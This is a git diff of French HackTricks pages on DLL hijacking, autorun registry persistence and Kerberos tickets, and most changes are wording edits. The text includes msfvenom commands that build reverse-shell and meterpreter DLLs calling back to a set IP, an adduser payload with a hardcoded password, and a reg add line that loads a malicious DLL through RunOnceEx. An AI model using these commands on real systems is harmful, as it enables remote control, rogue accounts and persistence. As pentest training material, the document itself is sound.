Dans les exemples suivants, imaginons que le ticket est récupéré en se faisant passer pour le compte administrateur.
Dans les exemples suivants, imaginons que le ticket soit récupéré en se faisant passer pour le compte administrateur.
### CIFS
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
[dcsync.md](dcsync.md)
{% endcontent-ref %}
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -168,7 +168,7 @@ Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -12,17 +12,17 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
## Définition
Tout d'abord, clarifions la définition. Le détournement de DLL consiste, dans le sens le plus large, à **tromper une application légitime/fiable pour qu'elle charge une DLL arbitraire**. Les termes tels que _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ et _DLL Side-Loading_ sont souvent -à tort- utilisés pour dire la même chose.
Tout d'abord, clarifions la définition. Le détournement de DLL consiste, dans le sens le plus large, à **tromper une application légitime/fiable pour qu'elle charge une DLL arbitraire**. Les termes tels que _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ et _DLL Side-Loading_ sont souvent - à tort - utilisés pour dire la même chose.
Le détournement de DLL peut être utilisé pour **exécuter** du code, obtenir **une persistance** et **escalader les privilèges**. Parmi ces 3 options, l'**escalade de privilèges** est de loin la moins probable à trouver. Cependant, comme cela fait partie de la section sur l'escalade de privilèges, je me concentrerai sur cette option. Notez également que, indépendamment de l'objectif, un détournement de DLL est effectué de la même manière.
Le détournement de DLL peut être utilisé pour **exécuter** du code, obtenir **une persistance** et **élever les privilèges**. Parmi ces 3 options, l'**élévation de privilèges** est de loin la moins probable à trouver. Cependant, comme cela fait partie de la section sur l'élévation de privilèges, je me concentrerai sur cette option. Notez également que, indépendamment de l'objectif, un détournement de DLL est effectué de la même manière.
### Types
@ -33,7 +33,7 @@ Il existe une **variété d'approches** parmi lesquelles choisir, le succès dé
3. **Détournement de DLL fantôme** : déposer une DLL malveillante à la place d'une DLL manquante/inexistante que tente de charger une application légitime \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)].
4. **Redirection de DLL** : changer l'emplacement dans lequel la DLL est recherchée, par exemple en modifiant la variable d'environnement `%PATH%`, ou les fichiers `.exe.manifest` / `.exe.local` pour inclure le dossier contenant la DLL malveillante \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)].
5. **Remplacement de DLL WinSxS** : remplacer la DLL légitime par la DLL malveillante dans le dossier WinSxS correspondant de la DLL ciblée. Souvent appelé DLL side-loading \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)].
6. **Détournement de DLL avec chemin relatif** : copier (et éventuellement renommer) l'application légitime dans un dossier accessible en écriture par l'utilisateur, à côté de la DLL malveillante. De cette manière, cela présente des similitudes avec l'exécution de proxy binaire (signé) \[[8](https://attack.mitre.org/techniques/T1218/)]. Une variation de cela est appelée (de manière quelque peu oxymorique) « _bring your own LOLbin_ » \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], dans laquelle l'application légitime est apportée avec la DLL malveillante (plutôt que copiée depuis l'emplacement légitime sur la machine de la victime).
6. **Détournement de DLL avec chemin relatif** : copier (et éventuellement renommer) l'application légitime dans un dossier accessible en écriture par l'utilisateur, à côté de la DLL malveillante. De cette manière, cela présente des similitudes avec l'exécution de proxy binaire (signé) \[[8](https://attack.mitre.org/techniques/T1218/)]. Une variation de cela est appelée de manière quelque peu oxymorique "bring your own LOLbin" \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)], dans laquelle l'application légitime est apportée avec la DLL malveillante (plutôt que copiée depuis l'emplacement légitime sur la machine de la victime).
## Recherche de DLL manquantes
@ -48,7 +48,7 @@ et affichez simplement l'**activité du système de fichiers** :
![](<../../.gitbook/assets/image (314).png>)
Si vous recherchez des **DLL manquantes en général**, vous **laissez** cela s'exécuter pendant quelques **secondes**.\
Si vous recherchez une **DLL manquante dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Nom du processus" "contient" "\<nom de l'exécutable>", l'exécuter, puis arrêter la capture des événements**.
Si vous recherchez une **DLL manquante dans un exécutable spécifique**, vous devez définir **un autre filtre comme "Nom du processus" "contient" "\<nom de l'exécutable>", l'exécuter et arrêter la capture des événements**.
## Exploitation des DLL manquantes
Pour escalader les privilèges, notre meilleure chance est de pouvoir **écrire une DLL qu'un processus privilégié tentera de charger** dans un endroit où elle sera recherchée. Ainsi, nous pourrons **écrire** une DLL dans un **dossier** où la DLL est recherchée avant le dossier où se trouve la **DLL d'origine** (cas étrange), ou nous pourrons **écrire dans un dossier où la DLL sera recherchée** et où la **DLL d'origine n'existe pas** dans aucun dossier.
@ -70,16 +70,16 @@ Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-d
C'est l'**ordre de recherche par défaut avec SafeDllSearchMode activé**. Lorsqu'il est désactivé, le répertoire courant passe en deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager\\SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée).
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge.
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD\_WITH\_ALTERED\_SEARCH\_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** est en train de charger.
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL ne sera **recherchée que dans ce chemin** (si la DLL a des dépendances, elles seront recherchées comme si elles étaient chargées par leur nom).
Enfin, notez qu'une DLL peut être chargée en indiquant le chemin absolu au lieu du simple nom. Dans ce cas, cette DLL **sera uniquement recherchée dans ce chemin** (si la DLL a des dépendances, elles seront recherchées en utilisant uniquement leur nom).
Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas les expliquer ici.
#### Exceptions à l'ordre de recherche des DLL selon la documentation Windows
* Si une **DLL avec le même nom de module est déjà chargée en mémoire**, le système vérifie uniquement la redirection et un manifeste avant de résoudre la DLL chargée, quel que soit le répertoire dans lequel elle se trouve. **Le système ne recherche pas la DLL**.
* Si la DLL est dans la liste des **DLL connues** pour la version de Windows sur laquelle l'application s'exécute, le **système utilise sa copie de la DLL connue** (et les DLL dépendantes de la DLL connue, le cas échéant) **au lieu de rechercher** la DLL. Pour obtenir une liste des DLL connues sur le système actuel, consultez la clé de registre suivante : **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
* Si la DLL est dans la liste des **DLL connues** pour la version de Windows sur laquelle l'application s'exécute, le **système utilise sa copie de la DLL connue** (et les DLL dépendantes de la DLL connue, le cas échéant) **au lieu de rechercher** la DLL. Pour obtenir la liste des DLL connues sur le système actuel, consultez la clé de registre suivante : **HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**.
* Si une DLL a des dépendances, le système **recherche** les DLL dépendantes comme si elles étaient chargées avec seulement leurs **noms de module**. Cela est vrai **même si la première DLL a été chargée en spécifiant un chemin complet**.
### Escalade de privilèges
@ -87,9 +87,9 @@ Il existe d'autres façons de modifier l'ordre de recherche, mais je ne vais pas
**Prérequis** :
* **Trouver un processus** qui s'exécute/va s'exécuter avec **d'autres privilèges** (mouvement horizontal/lateral) et qui **manque d'une DLL**.
* Avoir **l'autorisation d'écriture** dans n'importe quel **dossier** où la DLL va être **recherchée** (probablement le répertoire de l'exécutable ou un dossier à l'intérieur du chemin système).
* Avoir **l'autorisation d'écriture** sur n'importe quel **dossier** où la **DLL** va être **recherchée** (probablement le répertoire de l'exécutable ou un dossier à l'intérieur du chemin système).
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié qui manque d'une DLL** et c'est encore **plus étrange d'avoir l'autorisation d'écriture dans un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
Oui, les prérequis sont difficiles à trouver car **par défaut, il est assez étrange de trouver un exécutable privilégié qui manque d'une DLL** et c'est encore **plus étrange d'avoir l'autorisation d'écriture sur un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
Dans le cas où vous avez de la chance et que vous vous trouvez dans les conditions requises, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si l'**objectif principal du projet est de contourner l'UAC**, vous pouvez y trouver une **preuve de concept** d'un détournement de DLL pour la version de Windows que vous pouvez utiliser (en changeant probablement le chemin du dossier où vous avez l'autorisation d'écriture).
Notez que vous pouvez **vérifier vos autorisations dans un dossier** en utilisant :
@ -140,7 +140,7 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Créer un utilisateur (je n'ai pas vu de version x64) :**
**Créer un utilisateur (je n'ai pas vu de version x64):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
@ -227,7 +227,7 @@ break;
return TRUE;
}
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
@ -237,10 +237,10 @@ Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de hacking en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
@ -73,7 +73,7 @@ Registres AutoRun couramment connus :
Les clés de registre Run et RunOnce font en sorte que les programmes s'exécutent à chaque connexion d'un utilisateur. La valeur de données pour une clé est une ligne de commande ne dépassant pas 260 caractères.
**Exécutions de services** (peuvent contrôler le démarrage automatique des services au démarrage) :
**Exécutions de services** (peuvent contrôler le démarrage automatique des services lors du démarrage) :
* `HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
* `HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce`
@ -89,7 +89,7 @@ Les clés de registre Run et RunOnce font en sorte que les programmes s'exécute
* `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
Il n'est pas créé par défaut sur Windows Vista et les versions ultérieures. Les entrées de clé de registre Run peuvent faire référence directement à des programmes ou les répertorier en tant que dépendance. Par exemple, il est possible de charger une DLL lors de la connexion en utilisant une clé "Depend" avec RunOnceEx : `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
Il n'est pas créé par défaut sur Windows Vista et les versions ultérieures. Les entrées de clé de registre Run peuvent faire référence directement à des programmes ou les répertorier comme une dépendance. Par exemple, il est possible de charger une DLL lors de la connexion en utilisant une clé "Depend" avec RunOnceEx : `reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"`
{% hint style="info" %}
**Exploit 1** : Si vous pouvez écrire dans l'un des registres mentionnés dans **HKLM**, vous pouvez élever les privilèges lorsqu'un utilisateur différent se connecte.
@ -241,7 +241,7 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
* `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components`
* `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components`
Active Setup s'exécute avant l'apparition du bureau. Les commandes lancées par Active Setup s'exécutent de manière synchrone, bloquant la connexion tant qu'elles sont en cours d'exécution. Active Setup est exécuté avant que les entrées de registre Run ou RunOnce ne soient évaluées.
Active Setup s'exécute avant l'apparition du bureau. Les commandes lancées par Active Setup s'exécutent de manière synchrone, bloquant la connexion pendant leur exécution. Active Setup est exécuté avant que les entrées de registre Run ou RunOnce ne soient évaluées.
À l'intérieur de ces clés, vous trouverez d'autres clés et chacune d'entre elles contiendra des paires clé-valeur intéressantes. Les plus intéressantes sont :
@ -333,9 +333,9 @@ Trouvez plus d'Autoruns comme les registres dans [https://www.microsoftpressstor
* [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/)
* [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière de hacking** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -344,7 +344,7 @@ Si vous êtes intéressé par une **carrière de piratage** et souhaitez pirater
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).